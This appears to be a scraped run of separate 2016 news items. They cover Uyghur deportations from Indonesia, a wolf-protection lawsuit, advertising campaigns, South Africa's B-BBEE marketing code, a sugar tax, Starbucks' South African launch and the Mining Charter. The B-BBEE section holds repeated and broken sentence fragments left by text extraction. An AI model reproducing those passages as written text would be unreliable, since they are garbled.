Giving Uyghurs back to China is the same as killing them. Most probably, the Chinese government will execute them instantly, the official told BenarNews.

Because China agreed to return Samadikun, the government would grant the Chinese government access to the Uyghur convicts in Indonesia, the official said, noting that such access had never been granted before.

On the run for 13 years

Samadikun fled his country 13 years ago after being charged with corruption, but was caught by the Chinese authorities on April 14.

The charges against him were tied to the Bank Indonesia liquidity support (BLBI) case. In 2002, Indonesian president Megawati Sukarnoputri issued a decree freeing recipients from paying full shares of their portion of debts totaling 702 trillion rupiah (U.S. $53 billion).

Samadikun was a former CEO of Bank Modern, whose debt totaled 169.4 billion rupiah (U.S. $12.8 million). He escaped in 2003 after being convicted and sentenced to four years in prison.

Samadikuns arrest in China resulted from cooperation between Chinese authorities and the Indonesias national intelligence agency, Indonesian officials said.
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For Immediate Release, April 22, 2016 Contact: Amaroq Weiss, 707-779-9613, aweiss@biologicaldiversity.org Statement From the Center for Biological Diversity on Oregon Court of Appeals Premature Dismissal of Wolf Lawsuit PORTLAND, Ore.  Amaroq Weiss, the Center for Biological Diversitys West Coast wolf organizer, issued this statement today following the Oregon Court of Appeals decision to dismiss a lawsuit filed in December by the Center, Cascadia Wildlands and Oregon Wild challenging last falls decision by the Oregon Fish and Wildlife Commission to remove state Endangered Species Act protections for gray wolves. If Oregons wolves are going to survive and thrive, they deserve their day in court. Unfortunately the state legislature, Gov. Kate Brown and now the court of appeals are throwing roadblocks in their way, Weiss said. Well continue to stand up for wolves by filing a motion with the court to reconsider its decision to dismiss, so that the matter can be fully heard. Background

The courts dismissal of the lawsuit was in response to a notice filed by the Oregon Department of Justice a few weeks ago suggesting to the court that the lawsuit was potentially moot due to a bill ratifying the state-delisting decision passed by the Oregon Legislature and signed into law in March by Gov, Brown. Oddly, the court issued the dismissal despite the fact that no motion to dismiss had been filed by any parties. As a result, conservation groups will be filing a motion for reconsideration of the dismissal. The Center for Biological Diversity is a national, nonprofit conservation organization with more than 990,000 members and online activists dedicated to the protection of endangered species and wild places.
Cannes Lions International Festival of Creativity 2016 is offering a unique start-up package this year to ensure that those with young businesses or start-ups get the most out of connecting like-minds, creativity and innovation.

The Lions Innovation start-up package, brand new to the line-up, is a potent combination of inspiration and capitalisation and gathers creative luminaries who bring ideas to life.

Lions Innovation brings together marketers, storytellers and start-ups to facilitate collaboration that will shape the industrys future. It allows these specialised groups to connect and do business, explains Tshireletso Yvonne Diogo, marketing manager & account executive from Cinemark, the official Cannes Lions representative for South Africa.

Its an opportunity for South Africans with young and innovative businesses since it allows such companies to access the festival. With ground-breaking tech increasingly becoming key to some of the most celebrated and successful businesses globally, Lions Innovation has identified that start-ups are an integral part of the communications ecosystem and the lifeblood of this Festival.

The start-up package is a tailored bundle for tech entrepreneurs who want to be part of Cannes Lions, allowing them to network, discover and pitch their products to the high-value audience. The main attraction of a delegate pass is a demo pod to display their company in a purpose-built Start-up Village.

The delegate pass costs 750 (R12,677) and includes:

 A Lions Innovation delegate pass, providing access to two days of talks, workshops and demonstrations  Admittance to the awards show, where winners from the Innovation, Creative Data, Mobile, Media and Cyber Lions are announced in addition to the after party

 Access to daily, organised start-up meetups

 A pod in the new Start-up Village, to demo and pitch your tech (one day, one per company)  Access to the Cannes Lions Beach for the duration of Lions Innovation

The deadline to register is 30 April 2016 and passes are limited. For more information, go to www.canneslions.com.
The B-BBEE Sector Code for the Marketing, Advertising and Communications (MAC) sector is now in effect, including stricter requirements and increased incentives. Here's how Red & Yellow can help you make the most of it.

On 1 April 2016, the DTI gazetted the B BBEE Sector Code for the South African Marketing, Advertising and Communications (MAC) industry, which means that all affected businesses (including traditional, digital and media agencies) will now be required to submit themselves for annual verification against the new MAC Sector Code to obtain a B-BBEE rating.

The good news is that while the new Sector Code imposes stricter compliance requirements and targets, there are several new ways and added incentives for businesses to score points whilst delivering against their transformation plans and objectives.

There is also a two-year window (from 1 April 2016 to 31 March 2018) in which to meet compliance targets, and implement and deliver against your business transformation plans.

So how does the new MAC Sector Code differ from the Generic Codes?

For Large Entities (business with turnover greater than R50m, or PR agencies with turnover greater than R10m), the following differences are significant:

A total of 33 additional points have been made available for businesses to score.



have been made available for businesses to score. Black ownership targets have increased from 25% to 45% (and 30% for black women ownership ).



(and ). The number of points available for absorption of black people at the end of learnerships and internship programmes has increased from five to 10 .



of black people at the end of has . Higher 2018 Procurement targets have been set for qualifying spend incurred with QSEs and EMEs.



have been set for qualifying spend incurred with QSEs and EMEs. The 2018 Socio-Economic Development target is now 2.5% (as opposed to 1%) of net profit after tax (NPAT).



(as opposed to 1%) of net profit after tax (NPAT). An additional five points have been allocated to Responsible Social Marketing and Communications (or RSM), with an initial target of 1% of NPAT and a 2018 target of 2.5% of NPAT. This element measures the annual value of contributions and participation in sector specific programs of the entity to promote responsible behaviour changes in line with Governments strategic objectives. Although it remains to be seen how this pillar will be interpreted, the Sector Code does call on the industry to play an active role in "encouraging society to embrace habits and practices that contribute to its collective wellbeing and welfare in line with the national agenda and the best interest of society. The scourges of obesity and drunk driving are referenced.

For Qualifying Small Entities (QSEs) (businesses with turnover greater than R10m but less than R50m, or PR agencies with turnover greater than R5m but less than R10m), the following differences are significant:

A total of 15 additional points have been made available for businesses to score.



have been made available for businesses to score. There is a clear focus on enhanced ownership ( from 10% to 12% ) and management representation ( 20% to 25% in executive management; 25% to 30% in non-executive management ) by black women .



) and management representation ( ) by . 2018 targets for Skills Development have increased. 10 bonus points are available for absorption of black people into the entity at the end of learnership and internship programmes .



are available for of black people into the entity at the end of . More points are available - and higher 2018 targets are set - for Procurement from black-owned suppliers ( up to 20% from 15% of qualifying spend ), and for supplier and enterprise development (each up to 2% from 1% of NPAT).



- and higher 2018 targets are set - for from black-owned suppliers ( ), and for supplier and enterprise development (each up to 2% from 1% of NPAT). The 2018 target for Socio-Economic Development target is now 2% of NPAT , where previously it was 1%.



, where previously it was 1%. An additional two points have been made available for contributing to or participating in Responsible Social Marketing initiatives (initial target of 1% of NPAT and 2018 target of 2% of NPAT), plus three points for not receiving any adverse RSM rulings by the Advertising Standards Authority during the year under review.

What should businesses in the MAC sector do?

If your business provides marketing, advertising or communication services, you should consult your B-BBEE advisers and establish whether you will need to be verified in accordance with the MAC Sector Code. Work with your B-BBEE advisers to develop a two-year, 31 March 2018 transformation plan to ensure you achieve your transformation goals and attain your desired B-BBEE level.

How can Red & Yellow help you?

Training and development are cornerstones of successful transformation in the MAC Sector  the Sector Codes Values Statement and Strategic Drivers of Change say as much, and this is very clearly embodied in the composition and points allocation of the scorecard itself.

Red & Yellow will work with you to develop training and development programmes that ensure that you achieve your transformation goals and reach your desired B-BBEE level in a responsible, impactful and cost-effective manner.

Our highly regarded and hugely popular Springboard Learnership Programmes , Full-Time , Part-Time and Online Courses are designed to help you develop talent in your business, enabling you to maximise Skills Development points in the short term, and Management Control points in the medium to long term. Our experienced team will work closely with you to develop bespoke internal programmes and academies that combine our existing course offerings with an entirely customisable range of content and delivery formats to ensure your staff receives world-class training , with the best possible return on investment .

, , and are designed to help you develop talent in your business, enabling you points in the short term, and points in the medium to long term. Our experienced team will work closely with you to develop that combine our existing course offerings with an entirely customisable range of content and delivery formats to ensure your staff receives , with the best possible . We currently have talented black students studying various courses with us. Sponsor a bursary , and welcome an eager, industry-ready young mind into your organisation when they graduate. You will be giving a young professional a real shot at a bright future, and will earn valuable Socio-Economic Development points in the process.

studying various courses with us. , and welcome an eager, industry-ready young mind into your organisation when they graduate. You will be giving a young professional a real shot at a bright future, and will earn valuable points in the process. Send black-owned EMEs and suppliers on our range of courses to develop small black businesses into suppliers, and to enhance the value of services you receive from them. You will score Enterprise and Supplier Development points in doing so.

on our range of courses to develop small black businesses into suppliers, and to enhance the value of services you receive from them. You will score points in doing so. Let us train your staff, your suppliers and your clients on Responsible Social Marketing. We will work with you to build workshops, seminars and courses to fit your specific needs, helping you develop an internal culture of responsible marketing and score RSM points as you do.

Our courses and programmes are government accredited, further allowing you to leverage SETA funding and subsidies, claim Skills Development Levy (SDL) refunds and take advantage of significant tax allowances. All of which further serve to reduce your costs of transformation.

We will gladly discuss the MAC Sector Code with you in more detail, and explore ways in which Red & Yellow can work with you to help navigate your way towards successful and meaningful transformation in your business. Get in touch today by calling 021 462 1946 / 011 067 3400 or email us on az.oc.wolleydnader@ofni.

The Red & Yellow School has been producing industry leaders and game changers in the fields of marketing, graphic design, art direction and copywriting for 22 years. Applications for 2017 are still open. Find out more on the website (www.redandyellow.co.za) or contact Red & Yellow on 021 462 1946 / az.oc.wolleydnader@ofni.




Toyota South Africa launched a new generation of the Toyota Fortuner earlier this month (April), with an integrated campaign from long-standing marketing partner, FCB Joburg.

Since being introduced to the South African Market in 2005, the Fortuner range has led the South African SUV market with its unmatched style, performance and value for money. So, theres a lot to live up to, making this new generation launch one the biggest and most anticipated for Toyota in years.

The brief for FCB coming from Natasha Eddie, Senior Manager: Advertising and Digital, was to capture the capabilities of the new model showcasing off- and on-road performance, comfort, versatility, safety and security all in one sleek and powerful luxurious package.

Toyota Fortuner is proof that freedom and luxury, both highly desirable, are not mutually exclusive, she said. In fact, it offers its owner the luxury of freedom, allowing him or her to go anywhere confident that the Fortuner is comfortable, spacious and will never let them down.

Targeting predominantly men between 35-49 years old in the 8-10 LSMs, the agencys response includes television, print, radio and outdoor, running to end June this year.

FCB Joburgs creative team of Chief Creative Officer Brett Morris, Creative Director Tian van den Heever and Designer Janine Kleinschmidt was responsible for the campaigns development. They worked with They Shoot Films on the television commercial, which was shot over three days in Knysna. Blade and Freqncy handled post-production of the ad.

The Big Idea driving the campaign is a vivid juxtaposition of treacherous conditions and foul-tempered weather on the outside and the comfort and tranquillity on the inside of the Fortuner.

The TV ad features a family, living in a very large luxury estate, relaxing in their home as heavy rain pours outside. Despite a massive storm, the father chooses to venture out of the calmness of his home and into the chaotic conditions to fetch the paper from the post box, a few minutes drive away from the house. Of course, he chooses to do so as casually as if fetching it from the lawn on a bright sunny day, because his Fortuner ensures ease, safety and comfort no matter the conditions.

As he drives out the storm causes a branch to fall into the road ahead, forcing him to take an off-road route. The Fortuner cruises happily through driving rain, powering through rivers of rainwater and mud. On the inside of the car the father is looking completely relaxed and comfortable, a smile on his face, while Lou Reeds A Perfect Day plays rather ironically in the background to complete the juxtaposition. Its a fitting contrast to highlight the unmatched comfort of the Fortuner regardless of what the outside world throws at it. As he gets to the post box the howling wind rips it from the ground and carries it away, but he simply turns back to his Fortuner with an unfazed smile as if to say, it is a Perfect Day.

The radio ad features a personal assistant outlining her bosss day for him. She highlights the rough driving hell have to do to get to all his scheduled meetings in time. His response is breezy, unperturbed and eager to take on the challenge in his Toyota Fortuner.

For the past decade now, the Toyota Fortuner has proven its got what it takes to tackle the rugged South African environment without having to sacrifice comfort, said FCB Creative Director Tian van den Heever.

With this campaign for the new generation vehicle, we wanted to really drive home the fact that Fortuner stands for the luxury of freedom. What better way than to show that Fortuner owners can live the luxurious life they want to, regardless of the conditions.

Creative Credits:

Client: Toyota

Clients: Natasha Eddie and Nkateko Shilenge

Creative agency: FCB Joburg

Executive Business Director: Reagen Kok

Account Director: Jacqui Teixeira

Chief Creative Officer: Brett Morris

Creative Director: Tian Van den Heever

Copy Writer: Francois Delport

Account Director: Ross Makepeace

Designer: Janine Kleinschmidt

Strategic planner: Kabelo Lehlongwane & Thandeka Mali

TV production: Barbara Clark & Wakhile Sithole

Media planners: Gwen Bezuidenhout, Thulani Nombewu & Pamela Mhlongo

Post-production: Blade, Freqncy

Director: Alan Irvin

Producer: Darren Gordon

Photographer: Des Kleineibst




The Aids Healthcare Foundation (AHF) celebrates 15 years of saving lives in South Africa, by recalling its early battles with the government and pharmaceutical companies to provide affordable medicine for the disease.

AIDS Healthcare Foundation (AHF) celebrate 15 years. L-R: Dr Penny Lutung, Kemi Gbadamosi), Dianna Hoorzuk abd Hilary Thulare

Beacon of hope

As the largest non-profit HIV/Aids organisation globally, AHF provides medicine to over 600,000 patients worldwide. In South Africa, it opened Ithembalabantu Clinic in Umlazi, Durban in 2001 at the time when the government was ambivalent about the rollout of anti-retroviral (ARV) drugs.

The clinic has been a beacon of hope to many people living with HIV in KwaZulu-Natal. It began with 100 patients in an old office building, and now offers care to about 15,000 patients, including children born with HIV.

Call for help

AHF president, Michael Weinstein, recounts that the organisation was petitioned to help by South African activists who were disappointed by the outcomes of the 2000 bi-annual International AIDS Conference in Durban.

When we went to the organisations that were treating people with Aids there was a sense of hopelessness because in the US we already had the treatment evolution. It was very sad, and it made me angry because the government had essentially abandoned millions of people in South Africa, says Weinstein.

Despite resistance by the national government, Ithembalabantu opened with a staff complement of three. And, for many years, it was one of only three organisations offering anti-retroviral (ARV) drugs in KwaZulu-Natal.

Showing it could be done

At the time, medication cost about $5,000 per person per year in Africa. We knew we couldnt really help many people. So we said we will set up a clinic for 100 people and demonstrate that it can be done, says Weinstein.

The anniversary also celebrates the resilience of Ithembalabantus patients in the early days, who braved the frightening warnings of the early 2000s about the toxicity of the ARV drugs. Many of them had lost hope when they came to the clinic, and their miraculous recovery has inspired many to seek treatment early.

Despite all the warnings about the drugs being poison, people started to come and the results were almost instantaneous, says Weinstein.

Reducing the cost of treatment

The AHF has also been at the forefront of the global campaign for the reduction of ARV drugs. Its led marches on the offices of Aids drugs producers, and those efforts have resulted in prices being slashed down to $100 per person per year.

Government has stepped up

The organisation believes more still needs to be done to end HIV/Aids by 2030. However, AHF has lauded the South African government for its massive rollout of antiretroviral drugs.

South Africa has the largest HIV treatment programme in the world, with 3, 4 million people on treatment and 10 million tested for HIV every year.

We appreciate that the government wants to work with us, and has partnered with us, says Terri Ford, chief of global advocacy & policy.

The South African government has stepped up more than any other government in the world. We want to continue our partnership so that we can stop HIV in South Africa, and the way to do that is to get as many people tested and on treatment, she says.
#CommerceMonth: How The Foschini Group is innovating customer functionality

With the introduction of automated wish list messaging, a special occasion reminder calendar and a stock tracker, Robyn Cooke, head of e-commerce of The Foschini Group (TFG), explains how the online mall is personalising the online shopper experience.

Robyn Cooke We believe in the personalised context for the customer, not necessarily the personalised letter or email, says Cooke. For us it is less about addressing our customers by name and much more about understanding who they are, merchandising our stores to suit their unique needs and resonating with them as relevant to their lifestyle. We use data extensively to set up these environments, and are constantly A/B testing our platform and communications to ensure we are hitting the mark. As we are able to analyse and use unstructured data more and more from the broader internet to supplement our shopping data, we will be able increasingly to provide these customised contexts for our shoppers, she explained. Here, she goes on to discuss global trends in online shopping, and how SA is faring in this globally competitive market  Drawing on your insight into the e-commerce sector, what are currently the most influential global trends and how will these have an impact on local online shoppers? Drawing on your insight into the e-commerce sector, what are currently the most influential global trends and how will these have an impact on local online shoppers? The most important trend at the moment in global e-commerce is the focus on the customer journey through the entire retail environment, largely originating online, from a digital device. Everything in the e-commerce environment needs to start and end with customers and their specific requirements.

There is the overarching drive for convenience and customised experience for the millennial customer. As well as user-generated content and a fleshed-out experience when shopping.

This has yet to happen in the South African market as we are still in relatively early online trading days. But the pressure is on for this to be reality in the next four to five years and retailers should already be in the planning stage to meet this need.

What steps has TFG taken to personalise the online shopping experience? What steps has TFG taken to personalise the online shopping experience?

This month we have introduced automated wish-list messaging to our online mall. Shoppers can add items to their online wish lists and they will receive an alert when the item goes on sale or when the stock levels are low so they can decide whether they want to buy the item. Shoppers can also now wish list an item when it is out of stock and they will receive an email alert when the item is back in stock.

We have also introduced a special occasion reminder calendar so that our shoppers can remember to buy or send gifts to friends and family for birthdays, anniversaries or any celebration.

To create a seamless shopping experience, weve also introduced a stock tracker. When shoppers find a product is not available online, the stock tracker checks stock at the nearest bricks-and-mortar store and gives them that stores contact details, so they can quickly reserve the item.

As the TFG online mall expands, what innovations or enhancements can consumers expect in the short and longer term? As the TFG online mall expands, what innovations or enhancements can consumers expect in the short and longer term?

The expansion of the TFG online mall will include loads more brands online and, therefore, more diversity in product mix and assortment. With much more to choose from, the shopping experience will become richer and more convenient. The online mall will truly become a one-stop shop for all the customer needs.

In addition to more products, we are also looking to make the customer experience much more convenient by allowing customers to shop categories that cut across all the TFG brands. This can be anything from denim or sneakers to festival shopping and weddings.

A recent report by World Wide Worx (published by Memeburn on Wednesday, 6 April) said that online accounts for just 1% of retail sales in SA. What factors will boost this figure to rival other countries? A recent report by World Wide Worx (published by Memeburn on Wednesday, 6 April) said that online accounts for just 1% of retail sales in SA. What factors will boost this figure to rival other countries?

Most countries that have been trading online for 15 years are reaching levels of about 5% of their retail, taking place online. At TFG we expect to hit this level within six to eight years easily, and are already slightly ahead of the SA level of 1%.

Online trade is a strategic priority for TFG and we are focussed around stretched targets for this trade, as well as driving more engaging and convenient experiences for the South African customer.

Providing innovative solutions to make our customers lives easier, like stock tracker, will meet the expectations of convenience. In addition, by making shopping online as democratic as possible by allowing our customers to use their store account cards or instant EFT, opens online shopping up to far more potential customers.

As more local retailers take their brands online, how will TFG separate itself from the competition? As more local retailers take their brands online, how will TFG separate itself from the competition?

TFG is always focussed on customer experience and the retail journey the customer goes on with us. We believe that by continuing to build on our success to date, sticking to our philosophy of an extensive, convenient and democratised online shopping environment, and keeping focussed on what the customer wants from us, we will maintain our position at the front of this market.

We are also in the privileged position to have a retail group made up of 21 different brands, spanning the fashion lifestyle sector, so our offering is by definition broad and there is something to suit everyone. This places us at a distinct advantage.

The online mall allows the shopper to buy products across all seven stores, all going into one convenient bag. And with 3 million TFG account holders, they all have access to online shopping using their store cards, credit cards or both.

About Robyn Cooke

Robyn has worked as a marketing leader in the technology and internet field for over 20 years for some of the globes largest companies, based out of London. Robyn returned to Cape Town to merge this experience with her first love, fashion, and was South Africas first fashion blogger, commentator and stylist. She has run a popular style blog since 2008. In 2011 she was named one of Cosmopolitans first Twitter Queens, and in December 2013 was named one SAs 40 Best Global Twitter feeds to follow by Elle magazine.

At the same time, Robyn worked as the content director for online fashion retailer, Style36, fashion editor at O, the Oprah magazine, as a freelance fashion writer for Cosmopolitan magazine, Woolworths magazine and iAfrica.com, among other online projects.

Robyn is now the head of e-commerce for TFG, managing and driving the omni-channel strategy for the group, which now has seven brands active on the channel. It is a role that brings Robyns skills, knowledge and experience in communications, fashion and technology together.
Many South African manufacturers' efforts to expand into Africa have failed. Two mistakes - according to speakers on the line-up for the 2016 SAPICS conference for supply chain professionals - are applying familiar product-focused processes, and discounting the importance of working within the existing framework of local culture.

Many South African manufacturers efforts to expand into Africa have failed. Two mistakes  according to speakers on the line-up for the 2016 SAPICS conference for supply chain professionals  are applying familiar product-focused processes, and discounting the importance of working within the existing framework of local culture.

Focusing too much capital expenditure on the production and manufacturing side without enough investment in the outbound supply chain  warehousing and distribution  is probably the single biggest mistake that South African companies make when expanding into Africa, said Carsten Schubert, director (East Africa) of Transnova Africa.

South African businesses readily accept the status quo of logistics systems and processes already in place in the country targeted for expansion, rather than challenging them and looking for more efficient ways of getting the product to market, said Schubert.

It is a dangerous practice to decide to make do with existing warehousing facilities and distribution processes if they are not suited to the requirements for expansion into that particular territory.

Visibility and control

Another related mistake is abdicating control of the internal supply chain to distributors, with too much reliance placed on the local distributors network. It is important to have visibility and control over your end-to-end supply chain, warned Schubert. Interacting directly and managing the relationship with your new customer base when you are trying to establish a foothold in a new market is a key success factor.

Productive interaction with a new environment relies strongly on working to understand local culture and their capabilities, and respecting the historic lessons that inform existing processes.

Every step of a new process is needed to be designed through the eyes of the local workforce and its capabilities, advised Bryan Baylis, associate director of supply chain of the US-based Merck & Co.

When local supply chain owners completely understand the proposed solutions, only then can your team execute a sustainable process, which can successfully meet the needs of the organisation today and well into the future.

Complete immersion into local culture

Baylis explained that, as an outsider in a new environment, success is realised through complete immersion of oneself into the local culture, clearly understanding any existing processes, and working together as a cohesive team to provide viable solutions.

While new environments present unique challenges when designing supply chain systems, there is a common need to create a flexible system that can quickly adjust to todays global environment, said Baylis.

The key to the success of an expansion project seems to be dependent upon keeping solutions smart enough to be effective, but simple enough to be sustainable in the local environment.

Carsten Schubert and Bryan Baylis will present their unique supply chain insights at the 38th Annual SAPICS conference and exhibition for supply chain professionals in Sun City from 12 to 14 June 2016. More information is available at conference.sapics.org.
The tax on sugar-sweetened beverages, announced by Finance Minister Pravin Gordhan in his February budget speech, will come into effect on 1 April next year.

Both the UK and SA plan to tax sugary drinks, but Britains finance minister has provided far more details. Image credit: Reuters/Suzanne Plunkett

Strangely, the date it will come into effect is all anyone knows about the new excise tax category.

We are in the dark about whether it will be levied at the consumer or manufacturer level; whether it will be indiscriminate or will correlate to the sugar content; and what beverages it will target.

That is a lot of detail to work out in less than 12 months and little time to iron out all the issues involved in its implementation.

Compare this with the UKs sugar tax proposal announced by Chancellor George Osborne in his budget less than a month after Gordhan delivered his budget.

Osborne detailed how he envisioned the tax would work. He said it would be levied at the manufacturer level, taxed according to two categories of sugar content, and would exclude boutique producers, pure fruit juice and milk-based beverages.

He assured the UK public the government would consult on the taxs implementation. Still, he is giving the UK legislature and beverage industry until April 2018 before the tax becomes effective.

There are several ways that the Treasury could institute SAs sugar tax. The most transparent route would be through a full legislative process, which begins with the relevant government department publishing progressively more refined discussion documents  called green and white papers  that detail the departments policy considerations and thought processes, and opening them for public comment.

Draft legislation is prepared and considered by the Cabinet. The draft legislation is sometimes published in the Government Gazette, or given to certain organisations for further comment.

After all comments have been considered, it is introduced as a bill in Parliament, in line with the processes set out in chapter four of the Constitution.

Bills that impose taxes, levies, or duties, such as the sugar tax, are distinguished by the Constitution as money bills and can be introduced only by the minister of finance in the National Assembly.

The Constitution envisions a participatory democracy in which Parliament is transparent, accountable, and facilitates public involvement in the legislative process. These principles urge public participation in the drafting and adoption of proposed new laws.

However, there is no obligation on the government to publish discussion papers or draft bills for comment. It can, and often does, skip right to tabling a bill for consideration by the Cabinet, with minimal public engagement.

The Constitutional Court has found that Parliament has broad discretion to determine how best to fulfil its constitutional obligation to facilitate public involvement, as long as it acts reasonably.

More worrying, however, is that there is another method that Gordhan can potentially use to get his sugar tax on the statute books that circumvents the entire public-engagement process.

The Customs and Excise Act of 1964 and its schedules contain all the excise taxes and environmental taxes, payable in SA. The schedules to the act detail which products are taxed and by how much.

Such taxes include the environmental levy, on plastic bags, the fuel levy and excise duties on alcohol and tobacco. It makes sense that a sugar tax would be instituted as an amendment to this act.

Section 48 of the act provides that the minister of finance may amend the tariff schedules "whenever he deems it expedient in the public interest to do so" by mere notice in the Government Gazette, without going through any further legislative process.

This is how the levy on incandescent (electric filament) light bulbs was introduced in 2009. It was announced in then finance minister Trevor Manuels 2009 budget speech and introduced by notice in the Government Gazette by then deputy finance minister Nhlanhla Nene in terms of section 48. No further legislative process was necessary or engaged in.

Gordhan, thus, has a speedy option to push through his sugar tax without a full legislative process that would normally involve layers of thorough and transparent consultation with affected industries and the public.

After industry expressed much concern about the lack of information and communication on the new tax, it appears that the Beverage Association of SA managed to secure a meeting with the Treasury on Thursday.

The Consumer Goods Council of SA and other organisations are still waiting for feedback on their requests to meet with the Treasury.

Hopefully, these meetings will clarify some of the proposed details of the tax and allay some of the concerns. The public and industry should be thoroughly engaged, as envisioned by the values enshrined in the Constitution. There should be no secret ingredients in a sugar tax proposal.
By 7.30am on Thursday, when the world's largest coffee company, Starbucks, opened its first store in South Africa, the throng of fans who had been lining up from the night before were desperately in need of a cuppa.

Coffee consumption in the country has grown as consumers, particularly in the middletohigher income market, move from instant coffee to premium and freshly brewed offerings.

The awareness, not only of quality beans but origin and sustainable sourcing, has seen a deluge of artisanal roasteries and niche chains such as Vida e Caffe, Motherland and Roast serving up java fixes.

According to Statistics SA, local coffee shops have seen a 7.1% increase in income since 2014.

Starbucks has iconic status among customers, largely due to its free Wi-Fi and customised drinks, with buyers names written on cups.

With its brick walls and woven leather ceilings, the 485m store in Rosebank, Johannesburg, is a clear matrimony of the global behemoths laid back, urban edge with a distinct African semblance.

Starbucks vice president of licensed operations for the Europe, Middle East and Africa, and UK region Rhys Iley, said the groups move into South Africa was overdue and that the country represented a "significant" market.

A second Starbucks store will open in Attacqs R5bn Mall of Africa in Midrand next week.

"In two years, we think the market will have between 1215 stores," Taste Holdings CEO Carlo Gonzaga said, adding that the company was also looking at a drive-thru concept.

Taste will roll out the stores in SA, under its licence agreement with Starbucks. The JSE-listed group last year concluded a deal with Dominos Pizza, the second-largest pizza chain in the world after Pizza Hut.

For coffee connoisseurs, the Rosebank store hosts a coffee theatre and tasting experience with its Starbucks Reserve Bar  the concept is all about the craft of roasting and brewing and aims to educate customers about coffee.

The Reserve Bar offers single-origin, small-batch coffees sourced from around the world, with a variety of brewing methods including Syphon, Pour-Over and the Clover brewing system, and all espresso beverages will be made with a Black Eagle espresso machine.

Earlier this month, Starbucks said it would open a 20,000 square-foot roastery superstore in New Yorks Meatpacking District  its largest store in the world.

The Reserve coffee lines are more upscale, and cost anything from R26R74. When it comes to classics, customers can pay R17 for a small filter coffee and around R30 for a cappuccino or latte  largely in line with local pricing.

Starbucks sources coffee from nine countries in Africa and two of the first Reserve coffees on offer will be Burundi Murambi and Kenya Kaganda.

The group has localised some of the menu offerings to include items like roti rolls and rooibos cappuccinos.

Starbucks was founded in 1971 and is named after the first mate in Herman Melvilles Moby Dick. Its logo is also inspired by the sea  featuring a twin-tailed siren from Greek mythology. It has 23,000 retail stores in 70 countries.

 Starbucks company background

1971: Starbucks opens first store in Seattles Pike Place Market.

1982: Howard Schultz joins Starbucks as director of retail operations and marketing. Starbucks begins providing coffee to fine restaurants and espresso bars.

1983: Schultz travels to Italy, where hes impressed with the popularity of espresso bars in Milan. He sees the potential to develop a similar coffeehouse culture in Seattle.
Although aimed at reducing the broad based black economic empowerment (BBBE) shortcomings of the current Mining Charter, the revised version, gazetted on 15 April 2016, fails in two vital ways, according to the Bench Marks Foundation

It does not adequately address the drastic imbalance between local ownership and foreign ownership, and it ignores the negative impact that mining has on the communities.

Having studied the proposal, John Capel, executive director of the Bench Marks Foundation, says there are many shortcomings in the revised Charter.

BBBEE ownership

BBBEE ownership which still stands only at 26%. Bench Marks says it is unaware of any other country where local ownership of enterprises is restricted to 26% and foreign ownership by law is 74%. Anglo American will claim to be South African, yet they re-listed on the London Stock Exchange after 1994, effectively making them a British entity. The local ownership percentage should be increased.

Of the 26% BBBEE ownership, 5% must now go to an employee share ownership scheme and 5% to the community on whose land the mine is located. The Bench Marks Foundation notes the following:

The community still loses its land to the mine which they will never recover. It therefore loses its fields for cultivation and grazing. We feel that communities should be compensated the value of all future harvests from that land, with inflation calculated into the equation.

In addition, the community should be compensated a percentage of the value of the mineral underground. This would determine the real value of their land to the mine.

BBBEE shares are sold to BBBEE shareholders. This means that the employees and the communities affected must obtain bank loans to afford these shares. Bench Marks believe that the shares should be donated to communities as compensation for the loss of land, and not sold.

Community share

The community share, in terms of the Charter, is realised through the chief who is represented on a trust. Many communities do not trust the chiefs who often side with the mine.

The proposed Charter has been amended to include the setting up of a community development fund consisting of 1% of turnover. While this is a start, the Bench Marks Foundation doesnt believe it is enough. It sounds very much like the department is mopping up crumbs from the industry's table instead of acting more boldly on behalf of South Africans; 10-20% will be more realistic, 10% being the norm in the USA.

Bench Marks also does not see anything regarding the employment of local communities and the phasing out of the migrant labour system. Bench Marks would like to see this point in the Charter and targets set for local employment.

Workers stake

The inclusion of a 5% workers stake will be realised through union representation on a trust. This will not benefit individual workers, but will enrich the trade union bureaucracy.

Procurement

The new draft raises targets for local procurement of capital goods to 60% from the previous 40%. This is easily circumvented by foreign companies opening local franchises, and through fronting. Normally this procurement is mainly from Gauteng, recreating the global core versus periphery contradiction at a local level.

The new Charter raises targets for the procurement of services from 70% to 80%. Again this is easily circumvented by foreign companies.

Skills development

With respect to the requirement that companies set up a skills development trust that will be funded to the tune of 5% of payroll, Bench Marks would like the Charter also require that mines employ unemployed South African engineering and geology graduates, of which there are plenty. It should also introduce an apprenticeship scheme strictly for South Africans.

Pollution control

The new draft is silent on goals for water consumption and destruction by the mines. This should be urgently addressed as South Africa heads for an even more severe water shortage.

The revised Charter does not state its goals for toxic waste management and the externalised health and safety impacts of mines on near-mine communities and on the environment. It says nothing about the polluter pays principle. The Charter must be amended to include this point.

Missing from the Charter

Further items absent from the draft Charter, which must be included are that of:

Continuous free, prior and informed consent as well as the right to say no to mining principle.

More regulations and requirements need to be imposed prior to mining, during and once a mine has closed.

Consideration of people with disabilities, given that the mining industry is one of the biggest contributors to causing disabilities in the country; the Bench Marks Foundation would like to see a lot more legislation regarding this.

Grievance mechanisms for local communities and easy access to relevant expertise. Bench Marks would like an independent fund and grievance mechanism to be developed that will allow for recourse to justice for communities as well as the provision of independent professional, technical and environmental expertise to communities during the consultation processes from before mining commences right to after a mine closes.

Only if these points are included or revised will we be looking at a Charter that really takes South Africa and its citizens best interests to heart. It will then be a Charter that stands for genuine people-centred development instead of that which favours corporations and greed.

We encourage others who also have concerns to utilise the invitation by the department of mineral resources to submit their inputs and comments by 31 May 2016, as in our experience Gazettes regarding mining are usually done during December or holidays when businesses are closed and people are unable to respond. This is a rare opportunity that we must all utilise," says Capel.
Energy in Africa is a rarer commodity than in the developed world, with 15% of the world's population lives on the African continent, yet they represent only 3% of global electricity consumption.

Many Africans live within metres of the national grid, but have no access.  Josemaria Toscano 123RF.com

Electricity consumption per capita in sub-Saharan Africa is, on average, less than that needed to power a 50-watt light bulb continuously. The 48 sub-Saharan countries have a combined installed generation base of only 68gW, according to the African Development Bank Group. This is roughly equal to the generation capacity of Spain, a country that has a population of less than 5% of that of sub-Saharan Africa.

Improving economic opportunities

In 2011, the international community initiated a drive towards achieving universal access to modern energy services by 2030 under the UNs Sustainable Energy for All Initiative (SE4All). Substantially increasing energy access rates has the potential to make a significant contribution to lifting people out of poverty, creating more dignified living conditions and expanding economic opportunities.

